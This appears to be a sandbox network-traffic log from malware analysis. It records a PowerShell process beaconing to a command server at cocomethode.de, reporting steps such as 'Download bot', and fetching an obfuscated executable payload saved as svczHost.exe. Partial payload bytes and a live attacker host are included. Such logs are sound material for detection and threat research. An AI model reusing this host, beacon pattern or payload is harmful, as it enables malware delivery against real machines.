2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 7b 52 6c 71 60 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 5b 55 50 6c 79 68 52 44 34 72 52 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 56 47 5b 46 57 6d 5b 57 57 56 69 48 57 44 54 30 55 54 6d 45 52 6a 57 68 4c 33 53 30 58 6a 62 34 60 47 71 45 50 6c 30 5b 57 33 79 7b 56 6d 65 53 4f 6a 6d 45 54 6b 47 6b 63 59 65 71 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 6d 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 56 55 4b 46 4c 47 6a 78 5b 33 65 59 4c 54 35 30 58 7b 4f 52 63 46 4b 55 4f 54 38 60 56 47 47 30 57 6b 4b 56 60 57 4b 58 60 46 71 60 56 44 48 76 58 57 62 34 65 57 Data Ascii: {Rlq`TUCMRTOC[1mEPVeKP1GoRTOC[3[UPlyhRD4rRTi{UjOqPVeKP1GoRTOC[1mEPVeKP1GoRTOBVG[FWm[WWViHWDT0UTmERjWhL3S0Xjb4`GqEPl0[W3y{VmeSOjmETkGkcYeqSGGw[1mEPVeKP1GoRTOC[1mEPkmDTV8oRTOC[1mEPVeKRECNP3mC[1mEPVeKP1GoVUKFLGjx[3eYLT50X{ORcFKUOT8`VGG0WkKV`WKX`Fq`VDHvXWb4eW
2024-12-11 11:29:30 UTC	32	IN	Data Raw: 52 31 4c 79 65 56 48 7b 54 56 65 4a 53 30 4b 33 5b 45 48 30 62 33 48 78 53 6c 75 57 4c 30 5b 70 Data Ascii: R1LyeVH{TVeJS0K3[EH0b3HxSluWL0[p
2024-12-11 11:29:31 UTC	1369	IN	Data Raw: 56 55 4b 56 63 47 71 49 57 6c 75 4d 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 5b 6a 57 57 5b 56 57 6d 4b 55 53 56 53 4f 57 46 75 32 5b 31 6d 73 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 31 6d 49 56 6c 69 69 57 32 69 72 56 6a 4f 42 60 47 71 74 54 6c 79 6b 60 54 47 73 58 6d 65 46 4f 47 57 75 57 6b 43 6b 63 56 79 72 58 32 6d 42 64 57 71 58 54 6f 6d 69 57 30 5b 37 55 46 6d 4b 55 6a 4f 71 50 56 65 4b 50 31 48 34 53 47 47 76 4e 54 53 53 62 47 69 56 53 6d 5b 56 57 57 57 6e 52 47 53 47 4f 54 30 4b 50 31 71 54 58 6a 65 56 63 46 4f 45 50 59 69 4f 52 44 30 71 55 32 62 76 52 30 54 7b 54 6c 69 6b 63 6d 47 31 57 55 4b 35 63 47 71 58 50 56 65 4c 57 6a 34 72 56 55 48 34 65 57 71 48 55 56 65 4f 57 44 44 32 53 47 47 76 56 47 5b 46 57 6d 5b 57 57 56 69 Data Ascii: VUKVcGqIWluMT1H2SGGw[1mEPVeKP1GoRT[jWW[VWmKUSVSOWFu2[1msTo[jLkW{XkKF`1mIVliiW2irVjOB`GqtTlyk`TGsXmeFOGWuWkCkcVyrX2mBdWqXTomiW0[7UFmKUjOqPVeKP1H4SGGvNTSSbGiVSm[VWWWnRGSGOT0KP1qTXjeVcFOEPYiORD0qU2bvR0T{TlikcmG1WUK5cGqXPVeLWj4rVUH4eWqHUVeOWDD2SGGvVG[FWm[WWVi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.30	49752	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:31 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:29:31 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 44 79 6c 61 6e 65 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:29:31 UTC	1199	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:31 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FFNkRqr%2BqiEHdljik8OHvipJsu9YpNH4ozj128WF5NzB97A0xxgop961wgK7SkQ%2Fz4cnxJxqRC09Iw4bEL7E8XNhLLRWQn1qMBZ2Op2awTYhS7lGmMduWKBlYp%2FRxzbD0LaiwwX8c6P%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7759&min_rtt=1177&rtt_var=542&sent=1539&recv=679&lost=0&retrans=0&sent_bytes=2197063&recv_bytes=2481&delivery_rate=36547408&cwnd=277&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05232c6feeb03e-ATL server-timing: cfL4;desc="?proto=TCP&rtt=76&min_rtt=51&rtt_var=21&sent=11&recv=13&lost=0&retrans=0&sent_bytes=9413&recv_bytes=2551&delivery_rate=1283980392&cwnd=128&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=40&rtt_var=20&sent=6&recv=8&lost=0&retrans=0&sent_bytes=7617&recv_bytes=1074&delivery_rate=1109881355&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:31 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 32 39 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 39 35 26 72 74 74 5f 76 61 72 3d 32 34 30 39 37 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 38 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 39 36 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 37 61 30 62 64 62 34 31 61 31 37 31 31 66 35 26 74 73 3d 36 31 30 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113929&min_rtt=113795&rtt_var=24097&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1085&delivery_rate=33596&cwnd=252&unsent_bytes=0&cid=a7a0bdb41a1711f5&ts=610&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.30	49755	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:43 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:29:43 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:29:44 UTC	1224	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:44 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AgtFnY9VO1y%2Bg0%2FB%2Bjnqp5VsOQ7%2BI7Bp8e3Je2XShCbASGJBY4jJIdU92xkWUDKgVoeCv063qzPzxa03DCXDTO%2FDgqUI5SVe%2Fh%2FKwys9gLYYxVbV%2FeIhMIjLRLcAWf5WB%2BlS3AtRTzgL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8679&min_rtt=1460&rtt_var=13546&sent=12774&recv=5888&lost=0&retrans=0&sent_bytes=18298321&recv_bytes=32872&delivery_rate=16424266&cwnd=266&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f052378ce0eafa2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=74&min_rtt=51&rtt_var=20&sent=14&recv=16&lost=0&retrans=0&sent_bytes=10409&recv_bytes=3159&delivery_rate=1283980392&cwnd=129&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113851&min_rtt=113807&rtt_var=24085&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1013&delivery_rate=33595&cwnd=252&unsent_bytes=0&cid=7433a85ded5fa09d&ts=593&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.30	49756	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:44 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:29:45 UTC	1329	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:45 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FMrOUsE5nugD9sANnKrDJd%2Bzln5YZNDtQQX1LvumN3c1ObuJ9gzdchRow74gmHe7dC2UtD9WvtA72CdDgIFEqkVe1QyARWAskOuZ8UWMSsKq5Vgy05VystC%2BLHdcB%2ByJZco8Ibv3m0Dh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14283&min_rtt=1460&rtt_var=21367&sent=12776&recv=5890&lost=0&retrans=0&sent_bytes=18299110&recv_bytes=33814&delivery_rate=16424266&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05237e2901ad88-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=40&rtt_var=24&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1421&recv_bytes=886&delivery_rate=1007430769&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113791&min_rtt=113765&rtt_var=24045&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=971&delivery_rate=33626&cwnd=252&unsent_bytes=0&cid=b514a70c81bb4d73&ts=610&x=0"
2024-12-11 11:29:45 UTC	40	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii: L[A
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 01 0a 03 0f 28 01 e5 46 01 01 51 38 01 01 17 16 01 e1 b7 0a 01 01 11 01 01 01 01 01 41 00 01 01 01 01 11 01 01 01 03 01 Data Ascii: M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#(FQ8A
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 8c 0c e8 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4b d6 25 01 49 8c 04 52 e7 4f 01 49 8c 0c 45 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2c d6 25 01 49 8c 04 47 e7 4f 01 49 8c 0c 36 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 11 d6 25 01 49 8c 04 38 e7 4f 01 49 8c 0c 2b e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f2 d7 25 01 49 8c 04 2d e7 4f 01 49 8c 0c 1c e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 d7 d7 25 01 49 8c 04 1e e7 4f 01 49 8c 0c 11 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 b8 d7 25 01 49 8c 04 13 e7 4f 01 49 8c 0c 02 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 9d d7 25 01 49 8c 04 2c e7 4f 01 49 8c 0c 1f e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 7e d7 25 01 49 8c 04 21 e7 4f 01 49 8c 0c 10 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 63 d7 25 01 49 8c Data Ascii: OI8tIK%IROIEOI8tI,%IGOI6OI8tI%I8OI+OI8tI%I-OIOI8tI%IOIOI8tI%IOIOI8tI%I,OIOI8tI~%I!OIOI8tIc%I
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 49 82 38 01 74 00 c2 49 8a d1 e8 f6 d0 25 01 49 8c 04 99 e9 4f 01 49 8c 0c 88 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 db d0 25 01 49 8c 04 92 e9 4f 01 49 8c 0c 85 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bc d0 25 01 49 8c 04 0f e8 4f 01 49 8c 0c fe e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a1 d0 25 01 49 8c 04 08 e8 4f 01 49 8c 0c fb e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 82 d0 25 01 49 8c 04 05 e8 4f 01 49 8c 0c f4 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 d0 25 01 49 8c 04 46 e8 4f 01 49 8c 0c 39 e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 48 d0 25 01 49 8c 04 83 e8 4f 01 49 8c 0c 72 e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2d d0 25 01 49 8c 04 8c e8 4f 01 49 8c 0c 7f e8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 0e d0 25 01 49 8c 04 99 e8 4f 01 49 Data Ascii: I8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIg%IFOI9OI8tIH%IOIrOI8tI-%IOIOI8tI%IOI
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 8a d1 e8 87 cd 25 01 49 8c 04 fe 77 90 01 49 8a 01 49 8c 0c ac db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cd 25 01 49 8c 04 e6 77 90 01 49 8a 01 49 8c 0c 94 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 cd 25 01 49 8c 04 ce 77 90 01 49 8a 01 49 8c 0c 7c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 cd 25 01 49 8c 04 c6 77 90 01 49 8a 01 49 8c 0c 64 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 cd 25 01 49 8c 04 b6 77 90 01 49 8a 01 49 8c 0c 54 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 ca 25 01 49 8c 04 a6 77 90 01 49 8a 01 49 8c 0c 3c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 ca 25 01 49 8c 04 ae 77 90 01 49 8a 01 49 8c 0c 3c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 ca 25 01 49 8c 04 96 77 90 01 49 8a 01 49 8c 0c 2c db 4f 01 49 82 38 01 74 00 c2 Data Ascii: %IwIIOI8tIg%IwIIOI8tIG%IwII\|OI8tI'%IwIIdOI8tI%IwIITOI8tI%IwII<OI8tI%IwII<OI8tI%IwII,OI8t
2024-12-11 11:29:45 UTC	833	IN	Data Raw: 82 38 01 74 00 c2 49 8a d1 e8 27 c6 25 01 49 8c 04 4e 75 90 01 49 8a 01 49 8c 0c 9c d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c6 25 01 49 8c 04 3e 75 90 01 49 8a 01 49 8c 0c 94 d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c7 25 01 49 8c 04 26 75 90 01 49 8a 01 49 8c 0c 7c d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c7 25 01 49 8c 04 1e 75 90 01 49 8a 01 49 8c 0c 7c d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c7 25 01 49 8c 04 06 75 90 01 49 8a 01 49 8c 0c 64 d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c7 25 01 49 8c 04 f6 72 90 01 49 8a 01 49 8c 0c 4c d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c7 25 01 49 8c 04 de 72 90 01 49 8a 01 49 8c 0c 34 d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c7 25 01 49 8c 04 c6 72 90 01 49 8a 01 49 8c 0c 1c d9 4f 01 Data Ascii: 8tI'%INuIIOI8tI%I>uIIOI8tI%I&uII\|OI8tI%IuII\|OI8tI%IuIIdOI8tI%IrIILOI8tIg%IrII4OI8tIG%IrIIO
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 38 01 74 00 c2 49 8a d1 e8 e7 c2 25 01 49 8c 04 a6 73 90 01 49 8a 01 49 8c 0c b4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c2 25 01 49 8c 04 8e 73 90 01 49 8a 01 49 8c 0c 9c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c2 25 01 49 8c 04 76 73 90 01 49 8a 01 49 8c 0c 84 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c2 25 01 49 8c 04 5e 73 90 01 49 8a 01 49 8c 0c 6c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c2 25 01 49 8c 04 46 73 90 01 49 8a 01 49 8c 0c 54 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c2 25 01 49 8c 04 2e 73 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c2 25 01 49 8c 04 16 73 90 01 49 8a 01 49 8c 0c 34 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c2 25 01 49 8c 04 fe 70 90 01 49 8a 01 49 8c 0c 4c d7 4f 01 49 Data Ascii: 8tI%IsIIOI8tI%IsIIOI8tI%IvsIIOI8tI%I^sIIlOI8tIg%IFsIITOI8tIG%I.sIIDOI8tI'%IsII4OI8tI%IpIILOI
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 0c 2c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bf 25 01 49 8c 04 c6 6e 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bf 25 01 49 8c 04 b6 6e 90 01 49 8a 01 49 8c 0c 04 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bf 25 01 49 8c 04 ae 6e 90 01 49 8a 01 49 8c 0c ec d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bf 25 01 49 8c 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bc 25 01 49 8c 04 7e 6e 90 01 49 8a 01 49 8c 0c a4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bc 25 01 49 8c 04 66 6e 90 01 49 8a 01 49 8c 0c 8c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bc 25 01 49 8c 04 56 6e 90 01 49 8a 01 49 Data Ascii: ,OI8tI%InIIOI8tIg%InIIOI8tIG%InIIOI8tI'%InIIOI8tI%InIIOI8tI%I~nIIOI8tI%IfnIIOI8tI%IVnII
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 90 01 49 8a 01 49 8c 0c e4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b8 25 01 49 8c 04 8e 6f 90 01 49 8a 01 49 8c 0c d4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b8 25 01 49 8c 04 7e 6f 90 01 49 8a 01 49 8c 0c bc d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b9 25 01 49 8c 04 76 6f 90 01 49 8a 01 49 8c 0c a4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b9 25 01 49 8c 04 3e 6f 90 01 49 8a 01 49 8c 0c 5c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b9 25 01 49 8c 04 36 6f 90 01 49 8a 01 49 8c 0c 44 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b9 25 01 49 8c 04 1e Data Ascii: IIOI8tI'%IoIIOI8tI%I~oIIOI8tI%IvoIIOI8tI%InoIIOI8tI%IVoIItOI8tI%I>oII\OI8tIg%I6oIIDOI8tIG%I
2024-12-11 11:29:45 UTC	1369	IN	Data Raw: 25 01 49 8c 04 5e 6a 90 01 49 8a 01 49 8c 0c 54 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b2 25 01 49 8c 04 46 6a 90 01 49 8a 01 49 8c 0c 3c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b2 25 01 49 8c 04 2e 6a 90 01 49 8a 01 49 8c 0c 24 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b2 25 01 49 8c 04 1e 6a 90 01 49 8a 01 49 8c 0c 0c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a 01 49 8c 0c 04 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b2 25 01 49 8c 04 fe 6b 90 01 49 8a 01 49 8c 0c ec cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b2 25 01 49 8c 04 e6 6b 90 01 49 8a 01 49 8c 0c d4 cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 Data Ascii: %I^jIITOI8tI%IFjII<OI8tI%I.jII$OI8tI%IjIIOI8tIg%IjIIOI8tIG%IkIIOI8tI'%IkIIOI8tI%IkIIOI8tI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49757	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:56 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:29:56 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:29:57 UTC	1179	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:56 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wrP7tOQgAFfhvKaDFgJ8GGU4a8cVwVwC7hiYRzJaRloYk%2BJmFQquqQIfGkxHEdSbh2gh1Rj%2B7GHOZHyTSM6FMfcjdpXWPWM9QY5JsLUxDR057t1nb3Z6NzG6VtS%2F862WYjh1kLomibUp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1600&rtt_var=800&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1003&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0523c8bf38071d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=71&min_rtt=51&rtt_var=20&sent=17&recv=19&lost=0&retrans=0&sent_bytes=11420&recv_bytes=3904&delivery_rate=1283980392&cwnd=130&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=40&rtt_var=18&sent=9&recv=11&lost=0&retrans=0&sent_bytes=8823&recv_bytes=1814&delivery_rate=1212648148&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
